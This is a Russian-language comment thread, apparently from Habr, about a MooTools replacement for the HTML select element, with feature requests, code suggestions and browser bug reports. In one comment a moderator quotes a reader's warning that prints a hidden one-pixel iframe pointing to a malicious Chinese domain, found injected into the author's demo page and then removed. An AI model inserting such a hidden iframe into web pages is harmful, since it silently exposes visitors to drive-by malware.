Замена стандартного select с использованием Mootools

[XaocCPS]

автор цены бы вам и вашему компоненту не было, если бы ваш select еще обладал включаемым режимом text, для ввода произвольного текста
я бы враз перешел на ваш вариант
но и так — просто отлично!

[Bonch]

Как опцию — могу сделать. Только надо подумать, как технически это реализовать.
Давайте подумаем, для чего обычно нужна возможность ввода текста? (жду варианты)

[XaocCPS]

как вариант иногда приходится перечислять не весь список значений, просто потому что он очень большой по определению

скажем, задать населенные пункты Свердловской области, для выбора того, где прописан человек
в таком случае выводятся только города, которых несколько десятков, но опускаются села и деревни
здесь очень пригодится возможность пользователю уточнить список и ввести данные руками

это первое что в голову пришло, а вообще вариантов много и мне часто не хватало такого функционала

[Bonch]

То есть нужно:

1. Режим ввода текста
2. Колбэк, который вызывается при вводе каждого символа
3. Колбэк на enter (что значит, что мы закончили ввод и хотим результаты)
4. Колбэк, который вызывается, когда произошла пауза в N ms при вводе текста

еще?

[XaocCPS]

мне достаточно только 1 пункта
остальное я бы делал сам
калбэк на нажатие кнопок мне не нужен, не вижу пока применения
и 3 пункт тоже не нужен, я против срабатываения логики на выбор элементов типа checkbox или select, все должно происходить очевидно и по нажатию кнопок

[Bonch]

В принципе да, пунктом 4 можно все решить.
Но только вот не хотелось бы добавлять ненужную функциональность в этот же класс.

Пожалуй, расширю этот класс другим, и обзову его как нибудь типа CustomSelectText.

[XaocCPS]

согласный
вы не против, если потом я в меру своих способностей попытаюсь перенести элемент в jQuery (если получится)?

[Bonch]

Нет конечно)

[gAmUssA]

и пожалуйста отпишитесь о результатах

[ognevsky]

даже в стандартном элементе (на странице с примером) нет режима ввода текста, но если список открыть на набрать первую (пырвые) буквы слова, оно выделится. При больших списках это становится критично, а при малых — можно обойтись radio button'ом

но компонент, конечно, знатный получился =) Спасибо)

[Bonch]

> но если список открыть на набрать первую (пырвые) буквы слова, оно выделится

Добавил данную функциональность

[Bonch]

Ну и конечно же что при вводе текста должно/может происходить? (тоже нужны варианты).

[VasilioRuzanni]

Такой контрол называется ComboBox ;)

[XaocCPS]

ну не все же с Delphi знакомы :)

[VasilioRuzanni]

Ну не обязательно Delphi (сам не знаком с ним на практике).
И в .NET, и в ExtJS, и в Adobe Flex Framework, да везде он так и называется :) Комбинация ListBox'а (коим является select в html) и TextBox'а.

[XaocCPS]

да, вы правы
просто забыл что в Windows Forms он тоже называется ComboBox
в asp.net его нет, select называется DropDownList

[VasilioRuzanni]

Да, все верно, в ASP.NET это DropDown, а ComboBox у них там в WinForms, WPF, MS Office Controls, может еще где-то…

[ognevsky]

Ну у ComboBox было свойство, названия уже не вспомню, как раз от его значения зависело, можно писать свои варианты, или нельзя. То бишь ComboBox мог быть разным =)

[tvrbo]

есть готовое решение тут:

[tvrbo]

готовое решение комбобокса есть тут:
dhtmlx.com/docs/products/dhtmlxCombo/index.shtml

Edition: Standard — available for free download (to use under GPL) or under Commercial or Enterprise License (to use in commercial application and get support).

[XaocCPS]

платное для коммерческого использования
не айс, хотя это то что надо
спасибо

[tvrbo]

знаю что не айс, но если срочно нужно, то может и пригодиться

будем надейтся автор топика напишет CustomSelectText

[Bonch]

> будем надейтся автор топика напишет CustomSelectText
Над этим уже работаю)

[Bonch]

За этот пример спасибо!
Всю ночь вчера сидел ковырялся с editable mode для своего комбобокса, а тут можно и посмотреть, как должен себя вести комбобокс в таких случаях.

[ish]

насчет стандартного поведения, у меня так не закрывается при повторном клике на нем. Убунта + firefox3

[Bonch]

Спасибо — учел. Исправлю обязательно.

[Bonch]

Уже исправил)

[elfiki]

В стандартном селекте можно набирать первую букву и будет переходить фокус сразу…

[magmoro]

также стандартный реагирует на page up, page down и alt+arrow. А также изменяет внешний вид при нажатии.

[Bonch]

Спасибо, учёл.

[Bonch]

Исправил. Сейчас реагирует на page up, page down и alt+arrow, а так же на home и end.

[magmoro]

в mootools 1.2 не надо писать new Event(e), e уже расширен спомощью new Event, это происходит автоматически.

[magmoro]

вместо
var li = new Element('li');
li.set('text', option.get('text') );
li.inject( this.selectbox );
li.setProperty('index', option.index);
можно писать
var li = new Element('li')
.set('text', option.get('text') )
.inject( this.selectbox )
.setProperty('index', option.index);

[magmoro]

вместо
this.currentElement = li;
this.currentElement.addClass('selected');
можно
this.currentElement=li.addClass('selected');

[Bonch]

Внёс правки в код

[Bonch]

Спасибо, уберу это. Привык к 1.1)

[DeMx]

Ура, а то NiceForms как-то подзаебал уже своими лагами. ^_^

[Bonch]

Ну у меня же только select, а не все элементы формы)

[VasilioRuzanni]

Используйте ExtJS

[silentroach]

на mac-styled select'е видны непрозрачные краешки, надо бы поправить =)

[Bonch]

Поправлю картинки. Под рукой просто нормального редактора графики нет)

[madara]

В ie6 обычные комбо-боксы, стилей нет.

[Bonch]

Понятно, спасибо. Значит там есть ошибки. Доберусь до компа с IE6 — все поправлю.

[RuslanDenisenko]

Поставь IETester!

[magmoro]

в ie6 пока не уберешь русские коменты или не сохранишь в utf-8 custom_select.js не работало. Также надо добавить в a.aqua overflow: hidden

[Zitrix]

респект за правильный курсор :) честно респект, т.к. в рунете общепринято «мощно жмакнуть — нужен палец».
А кастомный скролл ожидается?

[Bonch]

Да, кастомный скролл будет обязательно. Сейчас уберу сначала все косяки, потестирую и займусь кастомным скроллом.

[akmute]

На данный момент управление стрелками тоже не работает (FF 2.0.16).

[magmoro]

у меня работает (ff 2.0.0.16)

[Ladygin]

Очень нужная штука, респект автору!

[Aist]

Нам пришло письмо от внимательного пользователя, позволю себе привести из него цитату:

Я являюсь постоянным посетителем хабра (в качестве читателя). Сегодня я случайно обнаружил троян в ссылке одного из авторов на прилагаемое демо. Статья называется «Замена стандартного select с использованием Mootools», находится на данный момент второй по счету на индексе. В тексте статьи есть ссылка на демо, в которой помимо кода примера к статье имеется след. строчка:
<iframe src='http://light-money.cn/spl/index.php' width='1' height='1' style='visibility: hidden;'></iframe
Обнаружено было случайно, при желании изучить хтмл-код приведенный автором. Касперский троян не обнаружил, хотя обновления установлены последние. Хотел зарегистироваться и предупредить пользователей, но увы — регистрация оказалась недоступной. Убедительная просьба принять меры по удалению трояна или статьи во избежании заражения компьютеров пользователей.

Автор статьи оповещён. Я добавил предупреждение об опасности в текст самой статьи и очень жду, что реакция автора поста окажется быстрой. Спасибо!

[magmoro]

на этом сайте imaker.ru/ на каждой странице такой iframe.

[Bonch]

Почистил от ифреймов. Интересно, откуда такое заражение появляется? Кто-нибудь сталкивался?

Я этим сайтом не один пользуюсь и у меня подозрение, что кто-то из моих коллег периодически заражает хостинг, заходя туда по ftp).

[xsash]

скорее всего был сплоит, сейчас страница отдает 404

[smok]

Ой

[Uratsakidogi]

В опере 9.25 у второго кастомного селекта не появляется скролл, а не влезшие пункты просто выпадают. Для сравнения, скрин из фф 3.
В ие6 получаю сообщение об ошибке, после ответа «нет» получаю второе, после ответа на котрое уже не происходит ничего нового. Но у меня ие6 не тот, что шел вместе с виндой, а standalone, так что может это косяк именно моего ие.

[Bonch]

Можете куда-нибудь выложить этот standalone IE? Я бы под него поправил косяки.

[NamelessOne]

Поставьте MultipleIE — неплохая, в общем, штука

[johnbl4ck]

отлично, юзал раньше elSelect.js, но он не обрабатывал события, чуть подправил чтобы эмулировал onChange, но ваш явно лучше. плюсанул в топик, в карму почему-то не получилось.
желаю багфиксов и дальнейшего развития!

[feedbee]

Bonch, Ваш сайт в данный момено ломают. В демке над примером виден список всех файлов вашего хостинга.

[Bonch]

Это не ломают, это я, дурак, забыл лог выключить обработанных файлов (робот удаляет вражеские iframe, пока так сделал:) ).

[Bonch]

Вопрос ко всем — я тут над алгоритмом думаю, пока ничего хорошего не придумал, может общественность поможет?

В демке imaker.ru/application/wwwroot/custom-select/ во втором дропбоксе, где есть прокрутка, список элементов должен прокручиваться, когда дошли до конца видимого списка.

Как это сделать наиболее легким путем?

[Bonch]

Вот, оказывается, какое сложное все-таки поведение у select! Сразу всего и не заметишь.
Спасибо — внёс в todo.

[Dojd]

Замечательно получается.
А если сделать поддержку многострочных пунктов — кодеры будут «кипятком писать».

[Bonch]

Как раз этим сейчас и занимаюсь)
Будет еще поддержка optgroup и disabled.

[vitovt]

а есть нечто похожее для jQuery? ))

[anephew]

Вот нашел что-то — не тестировал еще! просьба бывалых потестить 8)

www.acewebdesign.com.au/customselect.php

[croatian]

Кстати было бы здорово, если js-либы были в utf-8. А то комментарии в файлах нечитабельные =)))

А так все здорово!

[leshaogonkov]

а на клик по label он реагирует?

[VIST]

Обновите пожалуйста файлы. А то не возможно скачать и демо не поссмотришь.

[A1ekcandr]

А есть возможность добавлять произвольный текст? и да выложите пожалуйста файлы в другое место

[kashey]

Актуально — посмотреть надо, а сайт не работает :(

[nickostyle]

Жаль демо не работает, как раз ищу подобное решение

[AleksDesker]

Линки в посте мертвы, рекомендую ниже другой вариант глянуть, кто в поисках, как и я:
programmingdrunk.com/current-projects/dropdownReplacement/